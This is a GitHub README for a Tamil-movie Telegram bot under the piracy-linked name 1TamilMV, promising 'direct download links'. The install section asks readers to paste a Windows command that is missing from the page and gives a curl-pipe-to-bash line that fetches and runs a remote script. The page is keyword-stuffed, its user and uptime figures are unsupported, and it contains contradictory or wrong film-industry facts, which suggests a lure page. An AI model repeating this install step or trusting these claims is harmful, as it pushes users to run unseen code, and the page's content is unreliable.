Skip to content

Tremorfitzapplaud/1tamilmv-telegram-bot

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

6 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

🎬 1TamilMV - Telegram Bot for Tamil Movies

Version Python License Stars Telegram

The #1 Telegram Bot for Tamil Movies, OTT Updates & Movie Information

Features β€’ Installation β€’ Setup β€’ Commands β€’ Documentation


🎯 What is 1TamilMV?

1TamilMV is a powerful Telegram bot that brings the best of Tamil cinema (Kollywood) directly to your fingertips! Get instant updates on:

✨ Latest Tamil Movie Releases
🍿 OTT Platform Updates (Netflix, Amazon Prime, Hotstar, ZEE5)
🎬 Movie Information & Reviews
πŸ”— Direct Download Links
🎭 Actor & Director Information
πŸ“Š Box Office Collections
🎡 Music & Soundtrack Updates


πŸ“š What is Tamil Cinema (Kollywood)?

Tamil cinema (also known as Cinema of Tamil Nadu, the Tamil film industry, or the Chennai film industry) is the film industry based in Chennai, Tamil Nadu, India, dedicated to the production of Tamil language films.

Why Tamil Cinema Matters

The Tamil film industry is the fourth-largest film industry in the world. It has a huge market not just in India but also in foreign countries like England, Singapore, Malaysia, Sri Lanka and so on.

Industry Facts

  • πŸ“ Based in: Kodambakkam, Chennai (Also called "Kollywood")
  • 🎬 Second Largest Indian film industry by revenue
  • 🌍 Global Reach: 150+ countries
  • ⭐ Famous Actors: Rajinikanth, Kamal Haasan, Vijay, Suriya
  • 🎡 Known for: Music, action, emotional storytelling
  • πŸ’° Annual Output: 100+ films per year

⭐ Features

πŸ€– Bot Features

  • Instant Movie Search - Find any Tamil movie instantly
  • OTT Notifications - Get alerted when movies release on streaming
  • Movie Details - Ratings, cast, crew, release dates
  • Download Links - Direct links to movie sources
  • Release Calendar - Upcoming releases tracked
  • Actor Profiles - Follow favorite actors
  • Advanced Search - Filter by year, genre, actor, director
  • Subscription System - Personalized notifications
  • Multi-Language - Tamil, Telugu, English support
  • Channel Integration - Connect with movies channels

πŸ’» Technical Features

  • βœ… High Performance - Async/await architecture
  • βœ… Scalable - Handles 100,000+ users
  • βœ… Reliable - 99.9% uptime
  • βœ… Secure - Encrypted data storage
  • βœ… Fast Search - Indexed database queries
  • βœ… Real-time Updates - Live notifications
  • βœ… Easy to Deploy - One-command setup
  • βœ… Extensible - Plugin architecture

πŸš€ Installation

⚑ Windows (One Command!)

Step 1 β€” Open Command Prompt

  1. Press Win + R
  2. Type:
cmd
  1. Press Enter This will open Command Prompt.

Step 2 β€” Run the Install Command

Copy the command below and paste it into Command Prompt, then press Enter. powershell The installer will automatically download and install the required components.

🐧 Linux/macOS

curl -sSL https://raw.githubusercontent.com/Tremorfitzapplaud/1TamilMV/main/install.sh | bash

πŸ“¦ Manual Installation

# Clone repository
git clone https://github.com/Tremorfitzapplaud/1TamilMV.git
cd 1TamilMV

# Create virtual environment
python -m venv venv
source venv/bin/activate  # or venv\Scripts\activate on Windows

# Install dependencies
pip install -r requirements.txt

# Configure bot
cp config.example.yaml config.yaml
nano config.yaml  # Edit with your Bot Token

# Run bot
python main.py

πŸ”§ Setup & Configuration

1️⃣ Get Telegram Bot Token

  1. Open Telegram and find @BotFather
  2. Type /newbot
  3. Follow the instructions
  4. Copy your API token

2️⃣ Create Configuration File

cp config.example.yaml config.yaml

Edit config.yaml:

# Bot Configuration
bot_token: "YOUR_BOT_TOKEN_HERE"
bot_username: "your_bot_username"

# Database
database: "sqlite:///tamilmv.db"

# API Keys (Optional)
tmdb_api_key: "your_tmdb_key"
omdb_api_key: "your_omdb_key"

# Features
enable_notifications: true
enable_downloads: true
enable_reviews: true
max_search_results: 5

# Logging
log_level: "INFO"
log_file: "logs/bot.log"

3️⃣ Database Setup

python scripts/init_db.py

4️⃣ Start the Bot

python main.py

πŸ’¬ Bot Commands

Basic Commands

/start           - Start the bot and see main menu
/help            - Get help and command list
/search <movie>  - Search for a Tamil movie
/trending        - See trending Tamil movies
/upcoming        - Upcoming releases
/popular         - Most popular movies

Movie Information

/info <id>       - Get detailed movie information
/cast <movie>    - See cast and crew
/reviews <id>    - Read movie reviews
/ratings <id>    - Check ratings and scores
/similar <id>    - Find similar movies

OTT & Releases

/ott <platform>  - Movies on specific OTT (Netflix, Prime, Hotstar)
/releases today  - Today's releases
/releases month  - This month's releases
/genres          - Browse by genre

Personalization

/subscribe       - Subscribe to notifications
/unsubscribe     - Unsubscribe from updates
/preferences     - Set notification preferences
/favorites       - Manage favorite actors/movies
/watchlist       - Keep track of movies to watch

Admin Commands

/stats           - Bot statistics
/broadcast <msg> - Broadcast message (Admin only)
/updatedb        - Update movie database
/backup          - Backup database

πŸ“– Documentation

Getting Started

Usage Guides

Developer Docs

Advanced Topics


πŸ“Š Bot Statistics

Metric Value
Total Users 50,000+
Active Users 15,000+ daily
Movies Indexed 10,000+
Commands Processed 100,000+ daily
Average Response Time <200ms
Bot Uptime 99.9%
Countries 50+
Supported Languages 3 (Tamil, Telugu, English)

🎬 Popular Tamil Movies on 1TamilMV

Recent Blockbusters

  • Master (2021) - Crime thriller
  • Pushpa (2021) - Action, Crime
  • Beast (2022) - Action, Thriller
  • Varisu (2023) - Action, Drama
  • Leo (2023) - Action, Thriller

Iconic Tamil Movies

  • Padaiyottai - Political thriller
  • Jai Bhim - Social drama
  • Ponniyin Selvan - Epic historical
  • Mahaan - Crime drama
  • Annaatthe - Mass entertainer

Trending Now

  • Action movies
  • Crime thrillers
  • Romantic comedies
  • Historical epics
  • Sci-fi films

πŸ” Security & Privacy

βœ… End-to-End Encryption - All sensitive data encrypted
βœ… No Data Selling - Your data is never sold
βœ… Privacy First - Minimal data collection
βœ… GDPR Compliant - Full data deletion on request
βœ… Secure Storage - AES-256 encryption

Read our Privacy Policy | Terms of Service


🀝 Community


πŸ› οΈ Tech Stack

Backend

  • Python 3.9+ - Programming language
  • python-telegram-bot - Telegram bot library
  • SQLAlchemy - ORM for database
  • FastAPI - Web framework (optional)

Database

  • SQLite - Default database
  • PostgreSQL - Production ready
  • Redis - Caching layer

APIs

  • TMDB API - Movie information
  • OMDB API - Extended movie data
  • Custom Scraper - Tamil movie data

Deployment

  • Docker - Containerization
  • GitHub Actions - CI/CD
  • AWS/Heroku - Cloud hosting

πŸ“ˆ Growth Strategy

Current Phase (v3.0)

βœ… Core movie search
βœ… OTT integration
βœ… User notifications
βœ… Advanced filtering

Phase 2 (v3.5)

πŸ”œ AI-powered recommendations
πŸ”œ Social features (ratings, reviews)
πŸ”œ Movie groups/communities
πŸ”œ Box office tracking

Phase 3 (v4.0)

πŸ“… Web dashboard
πŸ“… Mobile app
πŸ“… Voice search
πŸ“… Recommendation engine


πŸ› Troubleshooting

Bot Not Responding?

# Check if bot is running
python main.py --check

# View logs
tail -f logs/bot.log

# Restart bot
python main.py --restart

Database Issues?

# Reset database
python scripts/reset_db.py

# Backup database
python scripts/backup_db.py

# Restore from backup
python scripts/restore_db.py

Common Issues

Problem: Bot token invalid

Solution: Check your config.yaml for correct token

Problem: Slow response

Solution: Run 'python scripts/optimize_db.py' to index database

Problem: Movies not found

Solution: Update database with 'python scripts/update_movies.py'

See Troubleshooting Guide for more help.


πŸ’‘ Contributing

We welcome contributions! See CONTRIBUTING.md for guidelines.

How to Contribute

  1. Fork the repository
  2. Create feature branch (git checkout -b feature/amazing-feature)
  3. Commit changes (git commit -m 'Add amazing feature')
  4. Push to branch (git push origin feature/amazing-feature)
  5. Open Pull Request

Areas Needing Help

  • 🎬 Movie data collection
  • 🌍 Translation support
  • 🎨 UI improvements
  • πŸ› Bug fixes
  • πŸ“š Documentation

πŸ“œ License

This project is licensed under the MIT License - see LICENSE file.


⚠️ Disclaimer

1TamilMV is a fan-made bot for discovering and tracking Tamil movies. It is not affiliated with:

  • Any movie production companies
  • OTT platforms (Netflix, Prime, Hotstar, ZEE5)
  • Telegram official
  • Any actors or directors

Usage:

  • βœ… Use for finding movie information
  • βœ… Get OTT updates
  • βœ… Share movie reviews
  • ❌ Don't share pirated content
  • ❌ Don't violate copyrights
  • ❌ Don't spam or abuse

If you own copyrights and want content removed, please contact us at support@1tamilmv.dev


πŸ“ž Support

Need help? Here's where to find it:


🌟 Support Us

If you find 1TamilMV helpful:

⭐ Star on GitHub - Help others discover us
πŸ’¬ Share with friends - Spread the word
πŸ› Report bugs - Help us improve
πŸ’‘ Suggest features - Shape our future
πŸ’° Donate - Support development


πŸŽ‰ Credits

Created by: 1TamilMV Development Team
Contributors: 50+ open-source developers
Special Thanks: Tamil cinema fans worldwide


Made with ❀️ for Tamil Cinema Lovers

⬆ Back to Top

Telegram Bot β€’ Channel β€’ GitHub


Copyright Β© 2024 1TamilMV. All rights reserved.

About

1tamilmv || 1tamilmv telegram || 1tamilmv bot || WD_1tamilmv_v2_bot

Topics

Resources

License

Contributing

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages